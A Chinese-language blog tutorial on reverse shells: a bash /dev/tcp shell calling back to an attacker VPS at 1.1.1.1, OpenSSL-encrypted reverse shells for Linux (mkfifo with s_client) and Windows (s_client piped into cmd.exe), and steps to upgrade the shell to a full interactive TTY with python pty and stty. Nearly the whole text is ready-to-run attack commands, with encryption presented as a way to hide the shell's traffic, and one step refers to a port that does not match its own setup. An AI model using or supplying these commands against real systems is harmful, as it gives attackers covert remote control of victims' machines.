openssl反弹shell与功能齐全的交互式shell

基础bash反弹shell

/bin/bash -i >& /dev/tcp/1.1.1.1/443 0>&1
nc -nvlp 443

Linux下openssl加密反弹shell

  1. 在vps上生成 SSL 证书的公钥/私钥对
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

-newkey rsa:2048选项声明了使用RAS算法生成2048位的私钥。
-nodes选项表明我们不使用密码加密私钥。
-keyout key.key:生成私钥
-out cert.pem:生成pem证书

  1. vps上监听反弹shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
  1. 在目标上用openssl加密反弹shell的流量(使用openssl单向认证)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/s; rm /tmp/s

注:openssl单/双向认证参考:
https://blog.csdn.net/go_home_look/article/details/107238103

Windows下openssl加密反弹shell
1、服务端开启两个监听,从 ip:port1 获取命令发送给 cmd.exe执行,然后结果返回到 ip:port2。

openssl s_server -quiet -key key.pem -cert cert.pem -port 443
openssl s_server -quiet -key key.pem -cert cert.pem -port 445
  1. 客户端执行
openssl s_client -quiet -connect 1.1.1.1:443 | cmd.exe | openssl s_client -quiet -connect 1.1.1.1:445

在服务端的443的窗口发送命令,然后服务端1521的窗口会收到执行结果:

使用python pty模块将不完全shell变为完全shell

$ python -c 'import pty; pty.spawn("/bin/bash")'

键入 Ctrl-Z,回到 VPS 的命令行中,再输入如下命令:

$ stty raw -echo
$ fg

回到不完全shell 中;在不完全 shell 中键入 Ctrl-l,执行:

$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 54 columns 104

此时已经变成了功能齐全的交互式 shell,比如支持命令补全、语法高亮等。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章